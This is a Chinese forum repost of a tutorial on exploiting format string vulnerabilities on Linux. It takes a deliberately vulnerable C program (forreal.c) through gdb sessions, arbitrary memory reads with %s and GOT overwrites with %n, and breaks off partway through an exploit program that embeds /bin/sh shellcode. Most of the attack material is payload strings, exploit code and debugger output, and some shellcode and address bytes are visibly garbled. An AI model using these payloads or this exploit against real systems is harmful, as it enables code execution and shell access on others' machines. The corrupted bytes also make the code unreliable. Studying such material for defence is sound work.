LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 436|回复: 0

在Linux上利用Format String漏洞

[复制链接]
发表于 2003-6-1 22:32:04 | 显示全部楼层 |阅读模式
在Linux上利用Format String漏洞

发布日期:2002-11-25
文摘内容:
--------------------------------------------------------------------------------
在Linux上利用Format String漏洞

作者:莫大

引子:


与缓冲区溢出漏洞相比,Format String漏洞的历史就要短得多,而且实际的例子也少很多。比较著名的象Linux上的rpc.statd,还有wu-ftpd版本2.x,前一段时间我还想找这个2.x版本的wu-ftpd源程序来Exploit一下,找来找去没找到,估计作者把它藏起来了。

不过网上倒是有几篇介绍Format String漏洞的文章值得一读,象Team teso的"Exploiting Format String Vulerabilities",还有Kalou/Pascal Bouchareine的"Format string vulnerability",这些文章的引用率应该很高,你们到Google上保证找得到。当然,我觉得我的这篇文章也不错,欢迎大家来看啦,只是有史以来很多人都喜欢读原著,象我大学时教政治的老师,他就经常说要读马列原著才行,翻译的都不灵光。

这一章我将在Caldera Linux V2.2上演示Format String的原理以及Exploit例子,不过我想其它Flavor的Linux也能试验这一章用到的程序。演示用的机器是claton----这是我美国梦开始的地方。

针对Linux操作系统或者Linux应用程序的Exploit多如牛毛,毕竟Linux是Open Source的,各方豪杰都要围着它们显显身手、切磋武功----我也花了不少时间在Linux上操练(不好意思,自己称自己为豪杰)。

Anyway,新时代的口号: Long Live OpenSource!!!!


关于Format String漏洞的背景介绍之一:


按老规矩,在作Exploit之前,我们要先介绍一下Format String的背景知识。请看下面的程序fordemo.c

<======================fordemo.c=========================>

main()
pb
  char buf[512]="";
  char tmp[512]="hello world\n";

  memset(buf, '\0', 512);
  read(0, buf, 512);

  printf(tmp);
  printf("%s\n%s", buf,tmp);
  printf("%x==%x==%x==%x\n");

}

<========================================================>

fordemo连续三次调用格式输出函数printf:第一次与第二次都属正常,大家在编写程序时也经常如此这般地调用printf;但第三次调用却有些奇怪,为什么只有格式化符号%x?根据printf的语法要求,这次调用还需要另外四个输入参数,类似于下面的形式才对:
    printf("%x==%x==%x==%x\n",forx1,forx2,forx3,forx4);
那么,当程序fordemo调用第三个printf时,它会如何反应呢?让我们深入到fordemo的汇编码中看看。

先编译程序fordemo.c,编译器并不认为第三个printf调用有语法错误。
[moda@claton format]$ gcc fordemo.c -o fordemo -g

用gdb运行fordemo:
[moda@claton format]$ gdb fordemo
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
/*
先在函数printf入口设置断点
*/
(gdb) b printf
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/moda/format/fordemo
Breakpoint 1 at 0x40066c1c: file printf.c, line 30.
hello babby
/*
这里通过函数read输入字符串"hello babby"给缓冲区buf
*/
Breakpoint 1, printf (format=0xbffff8b8 "hello world\n") at printf.c:30
/*
已经进入第一次printf函数调用----"printf(tmp)",然后在断点处停下。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb) bt
#0  printf (format=0xbffff8b8 "hello world\n") at printf.c:30
#1  0x80486a9 in main () at fordemo.c:10
#2  0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,
    argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
    rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
    at ../sysdeps/generic/libc-start.c:92
(gdb) x/20x $esp
0xbffff8a8:     0x40102e9c      0xbffffcb8      0x080486a9      0xbffff8b8
0xbffff8b8:     0x6c6c6568      0x6f77206f      0x0a646c72      0x00000000
0xbffff8c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8d8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8e8:     0x00000000      0x00000000      0x00000000      0x00000000
/*
观察一下call stack可以知道,0x080486a9是函数printf返回main的地址,它前面的0xbffffcb8应该是main的堆栈栈底($EBP)地址,而它后面的0xbffff8b8就是函数printf的输入参数,也就是指向缓冲区tmp的起始地址的指针。我们可以核实一下:
*/
(gdb) x/s 0xbffff8b8
0xbffff8b8:      "hello world\n"
/*
上面这个"printf(tmp)"调用是最简单的情况,只需要一个字符串指针0xbffff8b8作为输入参数,而且这个指针参数是紧接在printf返回地址后面。

我顺便提醒一下(因为可能有人在打瞌睡):指针0xbffff8b8所指向的缓冲区tmp就紧跟在这个指针的后面。

下面继续执行,我们要看一下第二个printf调用时内存的内容。
*/
(gdb) c
Continuing.
hello world

Breakpoint 1, printf (format=0x8049562 "%s\n%s") at printf.c:30

/*
程序已经进入"printf("%s\n%s", buf,tmp);",现在停在断点处。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb) bt
#0  printf (format=0x8049562 "%s\n%s") at printf.c:30
#1  0x80486c4 in main () at fordemo.c:11
#2  0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,
    argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
    rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
    at ../sysdeps/generic/libc-start.c:92
(gdb) x/20x $esp
0xbffff8a0:     0x40102e9c      0xbffffcb8      0x080486c4      0x08049562
0xbffff8b0:     0xbffffab8      0xbffff8b8      0x6c6c6568      0x6f77206f
0xbffff8c0:     0x0a646c72      0x00000000      0x00000000      0x00000000
0xbffff8d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8e0:     0x00000000      0x00000000      0x00000000      0x00000000
/*
0xbffffcb8是函数main的堆栈栈底($EBP)地址,0x080486c4是printf返回main的地址,而紧跟在0x080486c4后面的应该是printf函数的输入参数。源程序中的printf有三个输入参数:"%s\n%s"、buf、tmp,它们分别对应着0x080486c4后面的0x08049562、0xbffffab8、0xbffff8b8。在printf最后作格式化输出时,0xbffffab8、0xbffff8b8所指向的字符串将替换格式化字符串"%s\n%s"中的两个%s。
*/
(gdb) x/s 0x08049562
0x8049562 <_IO_stdin_used+18>:   "%s\n%s"
(gdb) x/s  0xbffffab8
0xbffffab8:      "hello babby\n"
(gdb) x/s 0xbffff8b8
0xbffff8b8:      "hello world\n"
/*
从上面的内存分配情况可以看出,当printf的输入参数中有格式化符号时,比如说"%s\n%s",系统会把实现(或者说替换)这些格式化符号的"真实的"参数或参数指针分配在格式化符号串的后面。这一点对于我们理解Format String的漏洞很重要!的确很重要!

如果你还不理解这一点的重要性,请想象一下如果我们忘记提供替换"%s\n%s"的两个字符串(不管是有意还是无意),printf会这么处理??

这就是我们第三个printf调用"printf("%x==%x==%x==%x\n");"所要说明的!
*/
(gdb) c
Continuing.
hello babby

hello world

Breakpoint 1, printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30
/*
现在程序已经进入"  printf("%x==%x==%x==%x\n")"。我们看看程序当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb) bt
#0  printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30
#1  0x80486d1 in main () at fordemo.c:12
#2  0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,
    argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
    rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
    at ../sysdeps/generic/libc-start.c:92
(gdb) x/20x $esp
0xbffff8a8:     0x40102e9c      0xbffffcb8      0x080486d1      0x08049568
0xbffff8b8:     0x6c6c6568      0x6f77206f      0x0a646c72      0x00000000
0xbffff8c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8d8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8e8:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/s 0x08049568
0x8049568 <_IO_stdin_used+24>:   "%x==%x==%x==%x\n"
/*
0x080486d1是printf返回main的地址,且不管它。0x08049568指向格式化字符串"%x==%x==%x==%x\n",但是我们并没有提供替换四个格式化符号%x的参数,printf如何处理这种情况呢?它误以为紧跟在指针0x08049568后面的四个Hex码(每个Hex码为4Bytes)也是输入参数,并用这四个Hex码来替换符号%x输出。
*/
(gdb) c
Continuing.
6c6c6568==6f77206f==a646c72==0

Program exited with code 037.
(gdb)
(gdb) q
[moda@claton format]$

现在让我总结一下:"当使用格式化函数(比如printf,sprintf,fprintf等等)时,如果我们有意或无意让替换格式化符号的"真实"参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出。"----莫氏定理。

背景还没介绍完,请大家继续往下看!


关于Format String漏洞的背景介绍之二:


前一段时间听说台湾省的美凤小姐被人用针孔像机偷窥了几下,我当时就想在虚拟世界里这个Format String就是偷窥用的针孔像机,它可以满足黑客们与众不同的心态----偷窥程序的堆栈内容,偷窥被调用函数返回地址和调用函数堆栈栈底地址等系统管理信息。请看下面的例子forreal.c,这也是本章我要Exploit的Vulerable程序,我下面就要偷窥它的系统管理信息以及其它一些我们感兴趣的内容。

<===========================forreal.c===============================>

#include <stdio.h>
#define IOSIZE 512


main()
{
  FILE * binFileH;
  char binFile[]="binFile";
  char tmp1[IOSIZE];
  char tmp2[IOSIZE];

  memset(tmp1, '\x00', IOSIZE);
  memset(tmp2, '\x00', IOSIZE);

  if ( (binFileH = fopen(binFile, "rb")) == NULL)
  {
    printf("can't open file -cn");
    exit();
  }

  //tmp1 = getenv(buf);
  fread(tmp1, sizeof(char),IOSIZE, binFileH);
  printf("Finish Reading in File\n");

  makeeasy(tmp2,tmp1);

}


makeeasy(char * tmp2, char * tmp1)
{

  char crap[4]="XXXX";

  sprintf(tmp2,tmp1);

  printf("%s\n",tmp2);
}

=====================================================================

先创建一个文件binFile,我们往里面输入几个格式化字符:

[moda@claton format]$ printf "AAAA %%x %%x %%x %%x %%x %%x" > binFile

现在binFile中只有格式化符号,但却没有替换格式化符号的真实的参数。我们运行一下Vulerable程序看看可以"偷窥"到什么东西:

[moda@claton format]$ forreal
Finish Reading in File
AAAA 58585858 bffffce8 8048771 bffff8dc bffffadc 41414141
[moda@claton format]$

其中的58585858是crap矩阵变量"XXXX"的ascii码,bffffce8是main()函数寄存器ESP的内容,而8048771则是函数makeeasy的返回地址。大家猜一下bffff8dc与bffffadc是什么?它们是函数makeeasy的输入参数tmp2指针与tmp1指针。最后的41414141是"AAAA"的ascii码,为什么会是41414141呢?让我另起一段来详细说明一下:

当makeeasy调用函数sprintf(tmp2,tmp1)时,格式化符号串指针*tmp1后面的内存内容如下:

--符号串指针*tmp1--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵--

根据莫氏定理:"如果我们有意或无意让替换格式化符号的'真实'参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出",因此格式化符号们"%x %x %x %x %x %x"依次把从crap开始的内容一个一个地输出,一直到第六个格式化符号%x,它对应着矩阵tmp2的起始4个字节----sprintf函数这时已经往里面放了"AAAA"的ascii码,所以第六个%x就把这些ascii码输出。我们的针孔像机果然看到了许多不该看到的东西吧!

在介绍针孔像机的另一个功能之前,我要问大家一个问题,如何得到程序运行时内存的内容?换句话问,"任意"给你一个内存地址("任意"是指程序运行权限之内的任意地址),你能得到它的内容吗?

就象在Solaris系统中的truss一样,在linux上我们可以用ltrace或者strace跟踪某些程序变量的内存地址以及其它一些有限的内容,请看下面的演示:

[moda@claton format]$ echo "ZZZZZZZZ" > binFile
[moda@claton format]$
[moda@claton format]$ ltrace forreal
__libc_start_main(0x080486c0, 1, 0xbffffcf4, 0x080484f0, 0x08049600 <unfinished
...>
memset(0xbffffa9c, '\000', 512)                   = 0xbffffa9c
memset(0xbffff89c, '\000', 512)                   = 0xbffff89c
fopen("binFile", "rb")                            = 0x0804a798
fread(0xbffffa9c, 1, 512, 0x0804a798)             = 9
printf("Finish Reading in File\n"Finish Reading in File
)                = 23
sprintf("ZZZZZZZZ□cn", "ZZZZZZZZ\n")               = 9
printf("%s\n", "ZZZZZZZZ\n"ZZZZZZZZ

)                      = 10
+++ exited (status 10) +++

上面黑体显示的就是一些内存变量在程序运行时的地址及内容。不过这些信息也太有限了,而且在大多数情况下,你还没有足够的权限用ltrace(或strace)去跟踪程序的运行呢!这与我们要求的"任意"这个最高境界还差着十万八千里的距离。

如果你没有孙悟空翻筋斗的功夫,那还是跟着我学习针孔像机的另一个功能:偷窥内存"任意"地址的内容。请看下面的演示:

先创建一个文件binFile,往里面加格式化字符串:
moda@claton format]$ printf "ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" >binFile
[moda@claton format]$

接着运行forreal:

[moda@claton format]$ forreal
Finish Reading in File
ABCD旭 +58585858bffffce88048771bffff8dcbffffadc44434241BBBBFn +q□□+_□+ABCD旭8585858bffffce88048771bffff8dcbffffadc44434241BBBB
[moda@claton format]$

forreal输出了一堆乱七八糟的东西,不过仔细看看输出的结果,我们还是认识其中的大部分的:ABCD、58585858("XXXX"的ascii码)、bffffce8(main函数的ESP),0x8048771(makeeasy的RET)、bffff8dc与bffffadc(makeeasy的输入参数)、44434241(对应着"ABCD")、BBBB。其它的字节则不能正常输出(不过南极星程序可能把它们当成Unicode输出了),其中跟在ABCD后面的应该是字节"\xccPcxf8\xff\xb"、跟在BBBB后面的是什么呢?让我们把结果再以Hex码显示一下,我特别把不能正常显示的字节用大几号的黑体标出来:

[moda@claton format]$
[moda@claton format]$ forreal | hexdump
0000000 6946 696e 6873 5220 6165 6964 676e 6920     //Finish Reading ...
0000010 206e 6946 656c 410a 4342 cc44 fff8 35bf    //in File\nABCD    5
0000020 3538 3538 3538 6238 6666 6666 6563 3838        //8585858bffffce88
0000030 3430 3738 3137 6662 6666 3866 6364 6662        //048771bffff8dcbf
0000040 6666 6166 6364 3434 3334 3234 3134 4242        //fffadc44434241BB
0000050 4242 fce8 bfff 8771 0804 f8dc bfff fadc        //BB
0000060 bfff 4241 4443 f8cc bfff 3835 3835 3835
0000070 3835 6662 6666 6366 3865 3038 3834 3737
0000080 6231 6666 6666 6438 6263 6666 6666 6461
0000090 3463 3434 3433 3432 4231 4242 0a42
000009e

跟在ABCD后面的黑体字确是字节0xbffff8cc,而跟在BBBB后面的长字串黑体字是
"bffffce88048771bffff8dc。。。。。。"----这重复了0x58585858后面的内容。为什么会是这样的结果呢?如果你已经知道原因的话,请先飞到下一节吧!(聪明的是不会轻易先飞的,因为怕别人说他是笨鸟!)。

我们回顾一下格式化符号串指针附近的内存内容:

---符号串指针*tmp1--crap--main函数的ESP--makeeasy函数的RET--*tmp2--*tmp1--   tmp2矩阵(44434241--bffff8cc--.......)

在传给sprintf的格式化字符串"ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" 中有六个%x,sprintf把它们依次以下面的内容替换:crap(0x58585858)、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、tmp2矩阵指针(0xbffff8dc)、tmp1矩阵指针(0xbffffadc)、ABCD的ascii码(0x44434241)。再下一个格式化符号是BBBB后面的"%s",它由什么来替换呢?很显然它将由排在0x44434241后面的四个字节替换,这四个字节中已经放入我们输入"\xcc\xf8\xff\xbf"。但是、但是。。。现在替换的规则变了:sprintf或其它的格式化函数在替换"%s"时,它们需要的是字符串指针,於是"\xcc\xf8\xff\xbf"就被当作字符串指针,这样替换的结果就是sprintf函数把这个指针指向的内容输出,我们也就得到了从地址0xbffff8cc开始的内存内容,也就是"bffffce88048771bffff8dc。。。。。。"!依此类推,你若想知道其它任意地址Any_Address的内容,只要把地址0xbffff8cc换成Any_Address即可。

好了,现在应该介绍Format String的最后、也是最重要的功能:如何巧妙设计Format String,然后利用格式化函数往内存中写东西。我要让大家看看,我们的"针孔像机"不光可以看东西,还可以动手动脚哩!而这个手和脚就是格式化符号"%n",当格式化函数遇到"%n"时,它会将已经输出的字节总数写入"%n"对应的替换地址中。在下面的例子中,我要利用"%n"来修改printf函数的Global Offset Table Entry。(如果你不太清楚Linux系统中Global Offset Table的概念,请"GOTO 下一节----关于Linux操作系统中的Global Offset Table:",不过千万要记得看完以后再返回到这里。)

先看看程序forreal中的各个输入函数的GOT Entry地址,我把printf函数的Entry用大号黑体标出来,方便象我一样的近似眼们看清楚。

[moda@claton format]$
[moda@claton format]$ objdump -R forreal

forreal:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804a6cc R_386_GLOB_DAT    __gmon_start__
0804a698 R_386_JUMP_SLOT   malloc
0804a69c R_386_JUMP_SLOT   fread
0804a6a0 R_386_JUMP_SLOT   abort
0804a6a4 R_386_JUMP_SLOT   __deregister_frame_info
0804a6a8 R_386_JUMP_SLOT   __libc_start_main
0804a6ac R_386_JUMP_SLOT   printf
0804a6b0 R_386_JUMP_SLOT   exit
0804a6b4 R_386_JUMP_SLOT   free
0804a6b8 R_386_JUMP_SLOT   memset
0804a6bc R_386_JUMP_SLOT   fopen
0804a6c0 R_386_JUMP_SLOT   sprintf
0804a6c4 R_386_JUMP_SLOT   __register_frame_info_table
0804a6c8 R_386_JUMP_SLOT   __register_frame_info

printf函数的GOT Entry是在地址0x0804a6ac,我们依据这个地址创造如下一个格式化字符串:

[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n" >binFile

注意这个格式化字符串的结尾是"%n"。让我们运行程序一下forreal看看有什么结果:

[moda@claton format]$ forreal
Finish Reading in File
Segmentation fault (core dumped)

程序在输出"Finish Reading in File"以后垮掉了。我们用gdb来分析一下黑匣子文件core:

[moda@claton format]$ gdb forreal core
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
Core was generated by `forreal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x41 in ?? ()
(gdb) bt            //列出Call Stack
#0  0x41 in ?? ()
#1  0x8048771 in main () at forreal.c:25    //第25行调用makeeasy()函数
#2  0x4003286f in __libc_start_main (main=0x80486c0 <main>, argc=1,
    argv=0xbffffd34, init=0x80484f0 <_init>, fini=0x8049600 <_fini>,
    rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffd2c)
    at ../sysdeps/generic/libc-start.c:92
(gdb)

forreal程序的第25行是调用makeeasy()函数,然后从这里企图调用位于地址0x41的指令。这个地址0x41是不可访问的,所以系统终止forreal进程的运行,并报Segmentation fault错误。

我们再用gdb来跟踪forreal程序的运行,可以看看它是如何一步一步地滑向深渊的:

[moda@claton format]$ gdb forreal
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
(gdb) b sprintf    //在sprintf函数入口设断点
Breakpoint 1 at 0x80485d4
(gdb) b 37        //在第37行设断点
Breakpoint 2 at 0x8048796: file forreal.c, line 37.
(gdb) r        //开始运行程序
Starting program: /home/moda/format/forreal
Breakpoint 1 at 0x40066c70: file sprintf.c, line 37.
Finish Reading in File

Breakpoint 1, sprintf (s=0xbffff8ac "",
    format=0xbffffaac "ABCD惮\004\b %x %x %x %x %x %xBBBB%n") at sprintf.c:37
/*
程序在进入函数sprintf后中断,我们看看当前ESP附近的内存内容:
*/
(gdb) x/20x $esp
0xbffff884:     0x40102e9c      0xbffff89c      0x08048793      0xbffff8ac
0xbffff894:     0xbffffaac      0x58585858      0xbffffcb8      0x08048771
0xbffff8a4:     0xbffff8ac      0xbffffaac      0x00000000      0x00000000
0xbffff8b4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff8c4:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/s  0xbffffaac
0xbffffaac:      "ABCD惮\004\b %x %x %x %x %x %xBBBB%n"
/*
地址0xbffff89c是makeeasy函数的堆栈栈底地址,而0x08048793则是sprintf返回makeeasy的地址。0xbffff8ac与0xbffffaac是sprintf函数的输入参数,其中0xbffffaac指向的缓冲区已经填入了我们通过binFile输入的格式化字符串。

我们看看位于地址0x0804a6ac的printf函数的GOT entry内容:
*/
(gdb) x/4x 0x0804a6ac
0x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:   
    0x40066c0c      0x0804859a      0x080485    aa      0x400782c0
/*
对於Linux操作系统来说,某个函数的GOT entry是指向该函数起始地址的指针。所以地址0x0804a6ac中的0x40066c0c应该是printf函数的起始地址。不相信的话,请往看下面:
*/
(gdb) x/5i 0x40066c0c
0x40066c0c <printf>:    pushl  %ebp
0x40066c0d <printf+1>:  movl   %esp,%ebp
0x40066c0f <printf+3>:  pushl  %ebx
0x40066c10 <printf+4>:  call   0x40066c15 <printf+9>
0x40066c15 <printf+9>:  popl   %ebx
/*
继续执行
*/
(gdb) c
Continuing.

Breakpoint 2, makeeasy (
    tmp2=0xbffff8ac "ABCD惮\004\b 58585858 bffffcb8 8048771 bffff8ac bffffaac 44434241BBBB", tmp1=0xbffffaac "ABCD惮\004Pcb %x %x %x %x %x %xBBBB%n")
    at forreal.c:37
37        printf("%s\n",tmp2);
/*
程序中断在第37行,准备用printf输出tmp2的内容。

在这时候,sprintf函数已经把格式化字符串替换完,替换的结果填入从0xbffff8ac开始的缓冲区中。但是唯一的例外是格式化符号"%n"的替换,对应着这个"%n"的是地址0x0804a6ac,就是printf函数的GOT Entry。在替换时,sprintf函数把当前已经输出的字节总数(0x41)写入这个地址中。

让我们检查一下地址0x0804a6ac的内容:
*/
(gdb) x/4x 0x0804a6ac
0x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:   
0x00000041      0x0804859a      0x080485    aa      0x400782c0
/*
作为函数printf的GOT Entry,这个地址0x0804a6ac中应该是指向printf起始地址的指针。现在这个指针被修改成了0x41,那么后面调用printf函数时进程就跳到地址0x41去执行,执行的结果当然是灾难性的Segmentation fault.
*/
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41 in ?? ()

上面的格式化字符串"ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n"仅仅往地址0x0804a6ac中写入一个很小的数0x41。如果我们要往这个地址写入一个很大的数值,比如说黑客码地址,应该如何构造格式化字符串呢?请大家研究下面的例子,我就不在旁边罗唆了。


[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08\xadPcxa6\x04\x08\xae\xa6\x04\x08\xaf\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%nCCCC%%nDDDD%%nEEEE%%n" >binFile
[moda@claton format]$
[moda@claton format]$ forreal
Finish Reading in File
Segmentation fault (core dumped)
[moda@claton format]$ gdb forreal core
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
Core was generated by `forreal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x5955514d in ?? ()
(gdb) x/4x 0x0804a6ac
0x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:   0x5955514d      0x08000000      0x080485
aa      0x400782c0
(gdb) q
[moda@claton format]$


关于Linux操作系统中的Global Offset Table:


在第四章里面我曾经提到Symbol Resolution的概念,就是说当程序要使用其它目标文件或目标文件库中的函数时,它要先知道这些函数的起始地址(当然我们假设该目标文件已经被载入程序内存空间)。至于它是通过何种途径解析这些起始地址的,已经有很多文章提及,我们且不管它。这里我主要说说在Linux中的程序获得起始地址以后,把这些地址保存在何处。

在Linux系统中,我们可以使用命令"objdump  -R  程序X"来了解程序X需要解析哪些输入函数的地址,比如说对於我们的Vulerable程序forreal:

[moda@claton format]$ objdump -R forreal

forreal:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804a6cc R_386_GLOB_DAT    __gmon_start__
0804a698 R_386_JUMP_SLOT   malloc
0804a69c R_386_JUMP_SLOT   fread
0804a6a0 R_386_JUMP_SLOT   abort
0804a6a4 R_386_JUMP_SLOT   __deregister_frame_info
0804a6a8 R_386_JUMP_SLOT   __libc_start_main
0804a6ac R_386_JUMP_SLOT   printf
0804a6b0 R_386_JUMP_SLOT   exit
0804a6b4 R_386_JUMP_SLOT   free
0804a6b8 R_386_JUMP_SLOT   memset
0804a6bc R_386_JUMP_SLOT   fopen
0804a6c0 R_386_JUMP_SLOT   sprintf
0804a6c4 R_386_JUMP_SLOT   __register_frame_info_table
0804a6c8 R_386_JUMP_SLOT   __register_frame_info


它要从外面的目标文件库输入malloc、fread、abort、printf、sprintf等等函数,当这些输入函数第一次被调用时,forreal会利用动态联结器解析出它的起始地址。请注意最左边的一列,这些以0x0804开始的地址位于程序forreal的Global Offset Table中,输入函数被解析出来的地址就保存在这里。我们把这个0x0804XXXX地址叫做函数的GOT Entry。当程序再一次调用同一函数时,它将直接从该函数的GOT Entry中读取该函数的起始地址,然后跳到那里执行。

我们以forreal程序对函数printf的调用为例,看看它的GOT Entry在调用前后的变化:

[root@claton format]# gdb forreal
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
(gdb) b 23   //中断于 "fread(tmp1, sizeof(char),IOSIZE, binFileH);"
Breakpoint 1 at 0x8048751: file forreal.c, line 23.
(gdb) b 24  //中断于 "printf("Finish Reading in File\n");"
Breakpoint 2 at 0x804875e: file forreal.c, line 24.
(gdb) r
Starting program: /home/moda/format/forreal

Breakpoint 1, main () at forreal.c:23
23        printf("Finish Reading in File\n");
/*
现在程序尚未调用函数printf,注意它的GOT Entry:
*/
(gdb) x/4x 0x0804a6ac
0x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:   
0x0804858a      0x0804859a      0x080485    aa      0x400782c0
(gdb) c
Continuing.
Finish Reading in File
Breakpoint 2, main () at forreal.c:25
25        makeeasy(tmp2,tmp1);
/*
程序已经结束printf函数调用,printf函数的起始地址应该被存进GOT Entry中:
*/
(gdb) x/4x 0x0804a6ac
0x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:   
0x40066c0c      0x0804859a      0x080485    aa      0x400782c0
(gdb) x/5i 0x40066c0c    //0x40066c0c为printf函数的入口地址:
0x40066c0c <printf>:    pushl  %ebp
0x40066c0d <printf+1>:  movl   %esp,%ebp
0x40066c0f <printf+3>:  pushl  %ebx
0x40066c10 <printf+4>:  call   0x40066c15 <printf+9>
0x40066c15 <printf+9>:  popl   %ebx
(gdb)
(。。。。以下略。。。。)

由于在Linux中的GOT Entry保存着函数的起始地址,一个被黑客们广泛使用的Exploit方法就是修改函数的GOT Entry:让修改后的Entry指向黑客码,这样当程序企图再次调用这个函数时,它就会执行我们的黑客指令。这也就是我在本章所要使用的方法!!!!
对Format String漏洞的Exploit:


我们这一章的Exploit将充分利用Format String的各种功能,修改程序forreal中printf函数的GOT Entry,让它指向我们的黑客码,这样当forreal调用printf函数时,它将转向执行黑客码而产生一个Command Shell。

要实现这个Exploit,我们需要:

1。
printf函数的GOT Entry,这个我们已经用"objdump -R"得到了,是0x0804a6ac。

2。
我们的黑客码地址,修改后的GOT Entry将指向这里。记得我们前面用过这样的格式化符号串:
[moda@claton format]$ printf "AAAA %%x %%x %%x %%x %%x %%x %%x" > binFile
[moda@claton format]$ forreal
Finish Reading in File
AAAA 58585858 bffffce8 8048771 bffff8dc bffffadc 41414141 35383520
[moda@claton format]$

地址bffffadc是tmp2缓冲区的起始地址,我们的黑客码将藏在里面、跟在三四百个0x90后面,所以我不妨用地址0xbffffba0作为黑客码起始地址。

也许你会说:"你怎么能知道bffffadc是tmp2缓冲区的起始地址呢?你刚才是用了gdb才能确实这个地址的,实际作Exploit时你不可能有如此奢侈的条件"。

我确实做了弊,操了近路,我有罪!!不过还记得Format String可以偷窥任意地址的内容吗?你们不妨试着用这个功能去找黑客码起始地址。包你成功,只是麻烦一点。

3。
修改GOT Entry的工具,就是"%n"符号。

4。
好象没有什么了。

好,请各位研究一下下面的Exploit程序,我已经加了注解:

<=============================exforreal==============================>


#include <stdio.h>

void main()
{

  char egg[]= "\x31\xc0\x50"   //This piece of code is from LSD_PL
              "\x68""//sh"
              "\x68""/bin"
              "\x89xe3\x50\x53\x89\xe1
'5cx99\xb0\x0b\xcd\x80";
  char gotAddr[16]=
         "\xac\xa6\x04\x08"
         "\xad\xa6\x04\x08"
         "\xae\xa6\x04\x08"
         "\xaf\xa6\x04\x08";
  char glue[16]= "\xeb\x02%n" ;
  char buf[255];
  char xx[32];
  int  i;

  FILE * binFileH;
  char binFile[]="binFile";

  if ( (binFileH = fopen(binFile, "wb")) == NULL)
  {
      printf("can't open file -cn");
        exit();
  }

  memset(buf, 0, 255);

/*
